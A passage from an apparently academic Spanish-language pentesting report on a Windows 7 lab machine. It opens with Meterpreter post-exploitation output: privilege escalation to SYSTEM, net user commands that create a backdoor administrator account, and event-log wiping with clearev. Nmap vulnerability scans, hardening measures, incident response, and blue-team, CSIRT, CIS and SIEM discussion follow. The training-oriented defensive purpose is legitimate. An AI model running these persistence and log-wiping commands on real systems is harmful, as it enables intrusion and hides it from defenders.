meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

( meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ||

Fuente. El Autor.

Ahora se debe usar el comando Shell para tener acceso al cmd del equipo remoto, el
equipo objetivo que es la maquina Windows 7 para poder crear el usuario con permisos de
administrador como se muestra en la figura 19.

Figura 19

Comprobacion Nuevos Permisos de Super Usuario o Administrador

meterpreter > getsystem

... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > shell

Process 1576 created.

Channel &4 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos

C:\Windows\system32>[]

Fuente. El Autor.



En la figura 20 se crea el usuario administrador ArnovisMendoza y se le asigna la
contrasefia 123456 usando los comandos de net user.
Figura 20
Usuarios Actuales en la Maquina Remota 192.168.216.1

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>net user
net user

Cuentas de usuario de \\

Administrador Invitado usuario
El comando se ha completado con uno o mes errores.

C:\Windows\system32>net user ArnovisMendoza /add
net user ArnovisMendoza /add
Se ha completado el comando correctamente.

C:\Windows\system32>net localgroup administradores ArnovisMendoza /add
net localgroup administradores ArnovisMendoza /add
Se ha completado el comando correctamente.

C:\Windows\system32>net user ArnovisMendoza 123456
net user ArnovisMendoza 123456
Se ha completado el comando correctamente.

C:\Windows\system32>net user
net user
Cuentas de usuario de \\

Administrador ArnovisMendoza Invitado
usuario

Fuente. El Autor.



35

Borrado de huellas

Se eliminan las huellas desde la herramienta Metasploit de la manera siguiente apoyados
desde el meterpreter con los comandos load incognito y clearrev para eliminar todo el rastro de
las conexiones como lo muestra la figura 21.
Figura 21

Eliminacién de Huellas Comando clearrev

meterpreter > load incognito
Loading extension incognito ... Success.

meterpreter > clearev

Wiping 480 records from Application...

Wiping 1248 records from System...

Wiping 395 records from Security...
meterpreter >

Fuente. EI Autor.

Elaboracion del reporte

A continuacion, se entrega reporte al equipo de blue team de los hallazgos:

Se realizar un escaneo con la herramienta NMAP al rango de la red 192.168.216.0 -
192.168.216.55, solamente se encuentra el equipo de coémputo 192.168.216.1 el cual se evidencia
gue es una maquina Windows 7.

Se realiza un escaneo profundo a la maquina 192.168.216.1, identifica que a través de la
aplicacién HFS - HTTP file server version 2.3, cuyo fabricante es Rejetto quien reconoce que
esta version tiene una vulnerabilidad grave, es por donde hay un fallo de seguridad el cual
permite a cualquier atacante poder ejecutar cualquier codigo en la computadora 192.168.216.1

cuyo sistema operativo es Windows 7, esta aplicacion se esta ejecutando desde el puerto http 80.
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Se debe tener en cuenta que estas aplicaciones para compartir archivos no estan bajo un
control de la organizacion y cualquier usuario podra enviar informacion sin que la organizacion
pueda hacer el debido monitoreo de que se comparte y a quien.

También la maquina 192.168.216.1 tiene otras vulnerabilidades y puertos abiertos como
se muestra en las figuras 22, 23, 24 y 25 a continuacion.

Figura 22

Pagina 1 Resultado Escaneo Vulnerabilidades IP 192.168.216.1

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 23:05 EST
Nmap scan report for 192.168.216.1
Host is up (0.0020s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
| _http-dombased-xss: Couldn't find any DOM base
| _http-csrf: Couldn't find any CSRF vulnerabili
| http-vuln 2011-3192:
VULNERABLE:
Apache byterange filter DoS
State: VULNERABLE
IDs: BID:49303 CVE:CVE-2011-3192
The Apache web server is vulnerable to a denial of service attack when num

overlapping byte ranges are requested.
Disclosure date: 2011 19
References:
/cgi-bin/cvename.cgi?name=CVE-2011-3192
g/fulldisclosure/2011/Aug/175
.tenable.com/plugins/nes
curityfocus.com/bid/4

VULNERABL!
Authentication bypass by HTTP verb tampering
tate: VULNERABLE (Exploitable)
This web server contains password protected resources vulnerable to authen
ication bypass
vulnerabilities via HTTP verb tampering. This is often found in web server
that only limit access to the
common HTTP methods and in misconfigured .htaccess files.

Fuente. EI Autor.

Figura 23

Pagina 2 Resultado Escaneo Vulnerabilidades IP 192.168.216.1

uspected to be vulnerable to HTTP verb tampering:
[GENERIC]

imperva.com/resou glos /http_verb_tampering.html
pec.mitre.org/d: f htm
index.php/Testing. HTTP_Methods_and_XS

mkit.com.ar/l texploit/
uldn't find any stored XSS vulnerabilities.
check:

them open as long as possible. It accomplishes this by opening connection

the target web server and sendi partial request. oing so, it starv

Fuente. El Autor.
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Figura 24

Pagina 3 Resultado Escaneo Vulnerabilidades IP 192.168.216.1

= Couldn't find a file-type field.
| _http-server-header: HFS 2.3

135/tcp
139/tcp
445/tcp
KGROUP)
554/tcp
2869/tcp

open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WOR

open rtsp?
open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-aspnet-debug: ERROR: Script execution failed (use -d to debug)

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| _http-csrf: Couldn't find any CSRF vulnerabilities.
| _http-dombased-xss: Couldn't find any DOM based XSS.

5357/tcp

open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| _http-dombased-xs Couldn't find any DOM based XSS.

| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-csrf: Couldn't find any CSRF vulnerabilities.

10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| _http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-dombased-xss: Couldn't find any DOM based XSS.

| _http-server-header: Microsoft-HTTPAPI/2.0

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: Host: P 06; 0S: Windows; CPE: cpe:/o:microsoft:windows

Fuente. EI Autor.

Figura 25

Pagina 4 Resultado Escaneo Vulnerabilidades IP 192.168.216.1

Host script results:

smb-
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
_smb-
smb-
VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1l servers (ms17-010)

vuln-ms10-061: NT_STATUS_ACCESS_DENIED

vuln-ms10-054: false
vuln-ms17-010:

State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

Disclosure date: 2017-03-14

References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-

wannacrypt-attacks/

Fuente. El Autor.
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Herramienta Utilizada Para Poder Identificar Los Fallos De Seguridad De La “Maquina
Windows”

La herramienta que se utilizé para poder identificar los fallos de seguridad de la maquina
Windows se llama NMAP, el puerto que abre la aplicacion del anexo es el 80 http.

Impacto y afectacion del ataque en la maquina (Windows)

Las afectaciones pueden ser muy diversas, pero en este caso el ataque se realiza a través
del puerto 80 debido a que es usado codigo maliciosos para obtener el acceso indebido, de esta
manera es posible lograr acceso a la maqguina y posteriormente ganar privilegios de super
usuarios o administrador para realizar movimientos laterales desde la maquina Windows lo que
comprometeria aspectos mencionados en la figura 26, tales como:

Figura 26

Afectaciones Directas e Indirectas Sobre la Maquina Windows
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Fuente. El Autor.
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Primeras Acciones Durante un Ataque Informatico en Tiempo Real

Siendo especialista en seguridad informatica, haria los siguiente:

Validar que realmente me estén atacando, identificando el ataque y su tipo, revisar logs,
eventos del sistema, revisar los procesos en el sistema operativo por medios del administrador de
tareas para identificar la amenaza.

Desconectar la maquina de la red e internet, el proposito es aislarla para evitar a toda
costa la transferencia de informacion o que el atacante haga movimientos laterales.

Se deben tomar las evidencias que se esta siendo victima de un ataque de manera rapida
para una recopilacion de pruebas, cadena de custodia y posterior analisis forense.

Se debe buscar en internet informacion sobre la amenaza detectada para saber como se
puede eliminar de manera segura del equipo.

Se debe habilitar el firewall para bloguear la direccion IP desde donde se esta haciendo el
ataque.

Validar desde el administrador de equipos de Windows, que recursos estan siendo
compartidos, que usuarios estan conectados y que archivos estan abiertos para deshabilitar los
accesos.

Se debe realizar escaneo de distintos antivirus para eliminar cualquier virus, se debe
reparar las entradas del registro de Windows, revisar con la herramienta Autoruns de Microsoft
las aplicaciones autorizadas de autoinicio al momento de encender el equipo.

Validar la integridad de todos los archivos guardados en el sistema de Windows.

Se debe realizar una revision a todas las maquinas de la red para validar si el atacante

alcanz6 a hacer movimientos laterales.
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Medidas de Hardenizacion Propuestas

Debe considerar el S.O. Windows 7 no tiene un soporte o respaldo de su fabricante
Microsoft debido a que esta descontinuado, por lo tanto, se deberia siempre tener la versién mas
actualizada del sistema operativo que seria la version Windows 11, esto garantiza que las
actualizaciones mas recientes y la mitigacion de riesgo estaria al dia.

Se deben aplicar las siguientes medidas de hardenizacion:

La cuenta del usuario administrador e invitado debe estar deshabilitada, debe de haber
una cuenta administradora, pero con otro nombre.

La cuenta de usuario debe ser de tipo estandar, lo que limita a los permisos de ejecucion
en el sistema.

Se le debe hacer cumplir al usuario para que todas las contrasefias sean robustas, es decir
minimo con 12 caracteres alfanuméricos, combinados con caracteres especiales y con minusculas
y mayusculas. Las contrasefias todas deben de ser caducables, deben de ser cambiadas minimo a
un periodo no mayor a 3 meses.

Restriccion de software, se debe permitir la ejecucion de solamente las aplicaciones
autorizadas, el resto no se debe permitir su ejecucion.

Deshabilitar el acceso remoto, ya sea por escritorio remoto, FTP y SSH.

Deshabilitar los puertos USB, pueden ser la entrada de un virus o pueden facilitar la fuga
de datos por parte del usuario.

En la red, después del router del proveedor de internet ISP, se debe instalar un firewall de
nueva generacion, puede ser un Pfsense para bloquear todos los, solo dejar abiertos los puertos
estrictamente necesarios.

Instalacion de un antivirus y comprobar que siempre esté actualizado.
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Se debe instalar contrasefia a la BIOS SETUP del equipo con una contrasefia robusta para

evitar cambios en el boot del sistema.

Se debe instalar y configurar el cifrado de disco con la herramienta BitLocker lo que

evita poder ingresar a las carpetas y archivos que se tengan en el disco duro.

Deshabilitar la ejecucion de scripts a través de PowerShell y cmd en Windows.

Diferencias equipo Blueteam y CSIRT

En la tabla 1, se describen las principales diferencias.

Tabla 1

Comparacion entre blue team y CSIRT

Blue team

CSIRT

La tarea principal actuar de manera
proactiva, siempre este equipo esté activo es busqueda
de defender los sistemas, la redes y la informacion de
la organizacion.

Previene la ocurrencia de un ataque, siempre
esta enfocado en la deteccion y mitigacion de
amenazas y/o vulnerabilidades.

Toma medidas de hardening para fortalecer
la seguridad de la infraestructura, estableciendo

politicas nuevas y actualizando las existentes.

Monitorea la seguridad de redes y sistemas
en busqueda de actividades anormales, implementa
sistema de prevencion como firewall IDS, antivirus.

Realiza andlisis de vulnerabilidades,
auditorias y pruebas de pentesting simulando ataques,
todo con el objetivo de mejorar y minimizar los

riesgos.

Este equipo es reactivo, se activa posterior aun

incidente de seguridad.

Su objetivo es poder contener y minimizar el
impacto que esté o haya causado un incidente de
seguridad.

Este equipo debe de realizar los analisis para
entender lo sucedido en momentos posteriores a un
incidente con el fin de poder reforzar las medidas de
seguridad y evitar que se repita.

Gestiona los incidentes de seguridad, realiza
investigacion, analisis y reportes forenses comunicando
a los interesados en la organizacion, tras sufrir algn
incidente de seguridad para evaluar su impacto y ayuda
en la normalizacion y recuperacién posterior a un

incidente.

Fuente. EI Autor. Nota. Comparacion entre las principales diferencias entre Blue team y CSIRT.
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Uso e Importancia de Trabajar con CIS

El CIS (Center Internet Security) entidad sin animos de lucro, que a nivel mundial por su
perspectiva en progreso de la seguridad informatica donde se han venido desarrollando
estandares, buenas practicas, marcos de referencias y herramientas que han fortalecido la
ciberseguridad.

El CIS se utilizaria con el fin de poner en practica los controles y acciones defensivas
para prevenir ataques de alto impacto y mas peligrosos, también en el cumplimiento de multiples
marcos juridicos, normativos y reglamentarios en los distintos paises.

El CIS provee una guia a las organizaciones para aumentar el nivel de seguridad de
manera eficaz en los siguientes 4 enfoques:

En las organizaciones les da una estructura, marco y estrategia a los programas de
seguridad.

Ayuda a priorizar las medidas y técnicas mas eficaces siendo especifico de acuerdo con
las necesidades de cada organizacion.

Enfoque robusto y probado en la gestion de los riesgos segun la organizacion.

Cumplimiento con regulaciones y marcos ya existentes como 1SO27001, BUTS, NERC,
FISMA, entre otros.

SIEM Caracteristicas Principales

(Security Information and Event Management), permite registrar, almacenar para analizar
y detectar anomalias con relacion a los datos de seguridad de otras fuentes para dar respuesta en
tiempo real.

Entre las principales funcionales son:
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Registro y normalizacion de datos de la infraestructura como firewall IDS/IPS, bases de
datos, servidores, sistemas entre otros, con estos se pueden realizar analisis para tomar acciones
de ser necesarias.

Identificacidn de eventos sospechosos o de comportamiento malicioso que ayudan a la
deteccidn de los ataques.

Generacion e informes resumidos y detallados sobre las actividades en la infraestructura,
cumplimiento de politicas, regulaciones o normas.

Cuando ocurren incidentes un SIEM ayuda sobre el analisis forense dando més
informacidn para esclarecer lo ocurrido y el nivel de impacto.

Aspectos que Aporten al Desarrollo de Estrategias de Redteam &Blueteam.

Existen elementos que de manera importante cumbre y apoyan las estrategias de red team
y blue team a nivel general en las organizaciones, deben de ser incluidas desde la estrategia
corporativa y la gobernanza TI.

Ademas, no se debe dejar de lado los objetivos y alcances para la conformacion de los
equipos, perfil profesional, legal, actividades ejecutadas, pruebas, resultados y comunicacion a
los interesados con los planes de accién para minimizar los riesgos de las brechas o
vulnerabilidades encontradas.

Los aspectos que aportan en desarrollar y mejorar la estrategia de equipos red team y blue
team son los siguientes:

Aspectos red team:

Eticoy Legal
En este &mbito se debe mirar en dos sentidos, sobre los colaboradores que conformen los

equipos de red team y sobre los clientes que se les presente el servicio o siendo lideres miembros
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en las organizaciones, considerar que para asegurar la privacidad de la informacién, se debes
establecer acuerdos de confidencialidad con los colaboradores u organizaciones prestadores de
servicio, apoyados en normas como I1SO 27001 o NITS se deben establecer controles y politicas
claras sobre el control de acceso, aceptacion de herramientas y politicas, capacitaciones y
acompariamiento a los procesos criticos con la respectiva supervision, sobre lo segundo se le
debe de dar acceso minimo, es decir que solo pueda ver o revisar puntualmente lo requerido y
queden registros en logs auditables en las herramientas utilizadas para tal fin, con esto se busca
asegurar el cumplimiento de la ley y la actuacién dentro de las normas para evitar filtraciones
que pueda ocasionar dafios y perjuicios.

Para generar confianza, las organizaciones deben ante todo hacer un contrato donde
queden clausulas y acuerdos de confidencialidad puntuales y claros donde la empresa contratada
pueda responder en caso de alguna violacién o mal manejo que se le pueda llegar dar a la
informacion.

Mano de Obra

Los colaboradores involucrados en los equipos de red team son una pieza clave debido a
que de ellos depende la efectividad de los procesos realizados dentro del equipo, por lo tanto,
deben de tener las habilidades técnicas adecuadas de acuerdo con su rol dentro del equipo,
certificaciones técnicas y experiencia que ameriten para dar frente a los retos a los que se vean
expuestos.

Herramientas

Existen un sin nimeros de herramientas de pago y gratis, también las que puedan ser

construidas por el mismo equipo, la clave de las herramientas es poder elegir de acuerdo con las

necesidades.
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Las herramientas permiten realizar los test de vulnerabilidades ya sean bésicos o
sofisticados, depende del objetivo y el contexto elegir una u otra, se debe tener siempre presente
que estas herramientas se les debe dar buen uso, de manera ética y respectando las leyes del pais
donde se ejecuten, entre las herramientas mas importante se tienen:

Kali Linux

Es un sistema operativo Linux especializado en ciberseguridad para realizar pruebas de
pentesting, auditorias de seguridad que viene dotada para realizar ataques, escaneos de puertos,
explotacion, entre otras.

NMAP
Esta herramienta se especializa en realizar escaneos de puertos, redes, host que se

encuentren en determinada red con alcance de NMAP para identificar vulnerabilidades.

Miltre

Es una base de datos en la web donde se pueden consultar las vulnerabilidades
encontradas por NMAP y donde especifican como pueden ser explotadas estas vulnerabilidades
y también como mitigarlas, sirve de referencia para saber el grado de riesgo y de impacto, estas
vulnerabilidades tienen un codigo caracteristico CVE (Common Vulnerabilities and Exposures),
es un codigo unico de referencia que identifica y clasifica las vulnerabilidades de hardware o

software.

Metasploit

El objetivo principal de esta herramienta es realizar la prueba de penetracion, tiene
exploit o scripts preconfigurados que solamente se deben parametrizar para ejecutar un ataque a
un sistema determinado, los parametros depende de cada script donde se pueden solicitar datos

como direccion IP, puerto, entre otros, posterior al ataque y teniendo acceso al sistema se puede
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continuar con la explotacion y pos-explotacion permitiendo realizar ataques a profundidad o
movimiento laterales.
Wireshark

Esta aplicacidn cuya razdn de ser es poder capturar paquetes de datos de red que estén en
transmision en una red para dejarlos a disposicion de manera detallada donde se describen tipos
de paquetes, datos de origen y destino, protocolo, entre otros.

Para los equipos de red team es de vital importancia debido a que muestran todas las
actividades y servicios que se vienen ejecutando en una red permitiendo poder identificar activos
informaticos de alto valor para la realizacion de nuevas pruebas de pentesting y profundizar las
pruebas.

Metodologia

El pestenting es una metodologia usada para poner a prueba los sistemas informaticos de
una organizacion, es poder simular un ataque de un hacker quien buscaria buscas las
vulnerabilidades y luego explotarlas para lograr su objetivo.

Por medio de los resultados del pentesting se pueden tomar medidas para mejorar y
mitigar las vulnerabilidades encontradas de acuerdo con las prioridades de la organizacion.
Afectaciones y Alcances del Atagque

Las afectaciones y alcance denotan el éxito de las pruebas y la capacidad de la
infraestructura en resistir un ataque de un hacker que realmente aproveche robando la
informacién y causando estragos.

Los equipos de red team se proponen en alcanzar los activos informaticos de alto valor de
una organizacion, tal cual como lo haria un hacker tratando de llegar a tener acceso no

autorizado a sistemas, datos, comprometer cuentas con privilegios de administrador, dejar
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accesos permanentes de manera remota, también probar los accesos fisicos a las instalaciones,
hacer permanente su acceso con malware o backdoors, comprobar que pueden también tener
afectaciones sobre los servicios vitales de la organizacion que pueden tener impacto en sus
operaciones y economicas.
Capacidades del Equipo Blue Team

Cuando los equipos de red team operan, ponen a prueba los controles, medidas, politicas,
monitoreo y todas las acciones que tomaron los equipos blue team para evitar que la
organizacion sufra un ataque, de manera que el éxito del equipo red team muestra de manera
inversamente proporcional el éxito o fracaso del equipo blue team, la importancia de esto radica
en que el equipo blue tomara las acciones para fortalecer las brechas identificadas y explotadas
por el equipo red.
Informes y Comunicacion

El equipo red team al finalizar todas las acciones debe entregar un informe detallado de
los hallazgos y alcances de las pruebas, demostrar hasta donde pudo llegar y las afectaciones que
pudo realizar a la infraestructura informatica, este informe es de vital importancia hacerlo
comunicar de manera clara y concisa para que el equipo blue pueda realizar el hardering
necesario y los directivos de la organizacion sea consientes a lo que estan expuesto y puedan
asignar recursos de ser necesario para la mitigacion de estas brechas detectadas por el equipo red.

Aspectos blue team:
Etico y Legal

Al igual que los equipos red team, los equipos blue deben de tener un cumplimiento legal
con respecto a las leyes del pais donde se encuentre conformado, también ético debido que los

miembros de los equipos blue tiene acceso a cuentas con privilegios e informacion confidencial
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que puede ser divulgada y aprovechada con un ciberdelincuente, es importante poder tener en los
contratos laborales clausulas claras de confidencialidad al igual que otras medidas como la
segregacion de funciones por roles dentro del equipo para asi ayudar a que nadie tenga un
alcance total con respecto a la gestion de los sistemas.
Mano de Obra

Deben ser profesionales idoneos que tengan el perfil adecuado para ejercer las funciones
de contencidn de ataques y con experiencia en el area, de unos buenos miembros haran un gran
equipo, deben de estar en constante capacitacion debido a que las formas y caracteristicas de un
ataque son multiples y vienen en aumento.
Herramientas

Existen muchas herramientas, pero lo ideal es dependiendo de la organizacion elegir las
idoneas, el contexto de todas las organizaciones no es igual y no tienen los mismos activos, entre

las herramientas de contencion existen las siguientes:

Pfsense

Es un firewall de Gltima generacion que permite establecer reglas de trafico de la red
haciendo que el nivel de seguridad se vea aumentando, también filtra los paquetes y rechazando
conexiones no habituales con la red de la organizacion.
Snort

IDS/IPS de cddigo abierto que mientras el IDS detecta sobre alguna intrusion, el IPS
actua aislando o bloqueando esa actividad maliciosa en tiempo real.
AlienVault OSSIM

SIEM que identifica, pero que también alerta al os administradores de la infraestructura

para contener algun ataque informatico.
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OKTA

Autenticador multifactor que ayuda a que el usuario sea el realmente genuino
proporcionando una doble autenticacion para garantizar su legitimidad.
Metodologia/Estandares

El éxito del equipo blue team es evitar que la organizacion sea victima de un ataque
cibernético, por lo tanto, debe enfocarse en aspectos tales como: politicas de seguridad de la
informacidn, de acceso, de contrasefias, uso aceptable de T, aplicaciones autorizadas, gestion de
contrasefias, politicas de backup, politicas de gestion de incidentes y recuperacion de desastres,
entre otras. Las anteriores deben de estar sujetas actualizaciones e ir de manera paulatina
endureciendo los controles de dichas politicas. Estas deben de tener como base algunos de los
estandares ya conocidos como las norma ISO 27001, NITS, CIS, entre otras.
Controles

Los controles ademas de las politicas ayudan en fortalecer y agregar capas de seguridad a
la infraestructura tecnoldgica de manera que se hace mas fuerte y minimiza la posibilidad de ser
victima de un ataque, estos controles deben de ser efectivos, entre los controles se deben
implementar firewall, autenticacion multifactor MFA, accesos minimos necesarios, segregacion
de funciones a través de asignacion de roles, segmentacion de la red, implementacion de

antivirus, implementar IDS/IPS, SIEM, entre otros.

Alertas

Los equipos de blue team deben de estar en monitoreo activo para prevenir y detectar
cualquier amenaza en tiempo real, se deben apoyar utilizando sistemas de monitoreo SIEM para
la deteccion de alguna anomalia. Los equipos también deben de estar monitoreando los logs de

los principales sistemas, dispositivos de red y servidores.
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Forense
En caso de sufrir un incidente el equipo CSIRT debe comunicar lo ocurrido, alcance e
impacto del ataque al equipo blue team para que puedan corregir y actualizar los controles que

conlleve la mitigacion de la vulnerabilidad y evitar volver a sufrir un incidente igual.

Planes de Accion

El equipo blue team debe desarrollar planes de acciones ya sea debido a incidentes ya sea
por haber sido victimas de ataque, por medio de un informe a través de los equipos de red team u
otras vulnerabilidades que sea reportada, este plan de accion debe asegurar que las debilidades
presentadas son fortalecidas y el riesgo mitigado en su maxima expresion, todos los hallazgos o
reportes deben de estar cerrados en la brevedad méxima posible.
Auditorias de Cumplimiento

Los equipos de blue team deben de solicitar auditorias internas y externas para validar el
cumplimiento de las politicas en toda la organizacion.
Informes y Lecciones Aprendidas

Los equipos de blue team deben reportar los incidentes y lecciones aprendidas, estas
deben de ser divulgadas dependiendo del caso a la organizacion para generar conciencia y evitar
que vuelva a ocurrir, también se debe revelar a la direccién informes donde se muestre un
manejo mes a mes de los indicadores de interés de la organizacion.
Recomendaciones para el Planteamiento de Estrategias que Permitan Endurecer los
Aspectos de Seguridad En una Organizacion

Las recomendaciones para endurecer aspectos de seguridad en una organizacion
tendriamos actualizaciones oportunas a las politicas de seguridad, de backup, de Tl y seguridad

de la informacion, realizar capacitaciones continuas sobre ciberseguridad abordando temas como
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el phishing, implementacion de MFA, de firewall y seguridad perimetral, segmentacion de la
red, IDS/IPS, teniendo los sistemas operativos actualizados, se debe tener Windows 11 a hoy,
evaluacion de analisis de riesgos, tener politica de actualizacion a las aplicaciones criticas,
monitoreo y administracion por consola del antivirus, se debe contar con asesorias y auditorias
de expertos de entidades externas y procedimiento de recuperacion ante cualquier eventualidad
para la asegurar la continuidad del negocio.

Conclusiones que Permitan la Construccion del Conocimiento Desde el Enfoque de a
Ciberseguridad

Entre las conclusiones tenemos las siguientes:

Colombia tiene un marco regulatorio sobre los datos personales y delitos informaticos
que dan una pauta para el cumplimiento de estos y el saber como actuar dentro de la ley.

Es importante que ante el ejercicio de la ciberseguridad se sepa visualizar la linea de los
legal e ilegal, ya es decision de cada uno en gue linea debe estar.

Con respecto a las organizaciones se deben de tomar las medidas para generar confianza
en las actuaciones tanto como empresa contratista, cliente al momento de realizar actividades que
involucren informacion confidencial de cualquiera de las dos partes, se puede apoyar en las
normas NIST e ISO 27001, manejo de tercero o proveedores.

Es importante y valioso para un ejercicio pentesting realizar cada una de las etapas que
son claves porque de esta misma manera un hacker llevaria a cabo un ataque, lo que permite
poder encontrar vulnerabilidades que seran mitigadas y para este caso permitié identificar desde
donde se estaba dando la fuga de informacion lo que permite hacer el reporte al equipo de blue

team para que continue con el plan accién para su minimizacion.
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Controles técnicos NITS firewall, MFA, antivirus, actualizaciones, filtro de correo contra
el phishing, capacitacion del personal.

Las herramientas para llevar a cabo la metodologia de pentesting juegan un papel crucial,
a pesar de que son gratuitas tienen mucho que aportar debido que cuenta con una amplia
comunidad y siempre es posible encontrar informacion al respecto, también son facil de usar, con
NMAP se pudo realizar el escaneo de vulnerabilidades, poder identificarlas y con se pude elegir
el exploit para hacer la explotacion adecuada de la vulnerabilidad.

No es suficiente con realizar la explotacion a la vulnerabilidad sino también de revisar
como puede un ciberdelincuente también hacer permanencia sobre las maquinas que logre
explotar o infectar pudiendo dejar puertas traseras, cuentas de usuarios u otra forma para
garantizar su conexion a los equipos.

El informe final se debe redactar de manera muy clara porque de este trabajo dependente
la buena actuacién de los equipos Blue team para poder realizar los planes de accion
consecuentes con los hallazgos que sean reportado desde los equipos de red team.

Para las organizaciones publicos o privadas es de vital importancia saber como actuar
frente a un incidente de seguridad ya sea si esta ocurriendo activar el equipo CSIRT y posterior,
saber que herramientas usar, el equipo de Blue team para fortalecer los controles, ambos son
importantes para prevenir nuevos ataques y evitar que se repitan aprovechando las mismas
vulnerabilidades para realizar la accion maliciosa.

Las medidas de hardenizacion en conjunto con el marco CIS para endurecer los controles
proporcionados y en conjunto se cumple con los estandares ya desarrollados de manera
internacional como NIST e 1ISO27000 entre otros, esto ayuda a fortalecer las medidas en las

organizaciones y en minimizar los riesgos de sufrir un incidente.



Los equipos SIEM junto con las herramientas de contencion ayudan a poner una capa
adicional de seguridad, pero la importancia de los equipos SIEM en poder identificar por donde

hay actividades sospechosas.
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Conclusiones

Para las organizaciones publicos o privadas es de vital importancia saber cbmo actuar
frente a un incidente de seguridad ya sea si estd ocurriendo y posterior, saber que herramientas
usar y que equipos deben activarse, el equipo de blue team para fortalecer los controles y el
equipo CSIRT posterior al ataque, ambos son importantes para prevenir nuevos ataques y evitar
que se repitan aprovechando las mismas vulnerabilidades donde fue aprovechado para realizar la
accion maliciosa.

Las medidas de hardenizacion en conjunto con el marco CIS para endurecer los controles
proporcionados y en conjunto se cumple con los estandares ya desarrollados de manera
internacional como NIST e 1SO27000 entre otros, esto ayuda a fortalecer las medidas en las
organizaciones y en minimizar los riesgos de sufrir un incidente.

Los equipos SIEM junto con las herramientas de contencion ayudan a poner una capa
adicional de seguridad, pero la importancia de los equipos SIEM en poder identificar por donde

hay actividades sospechosas.
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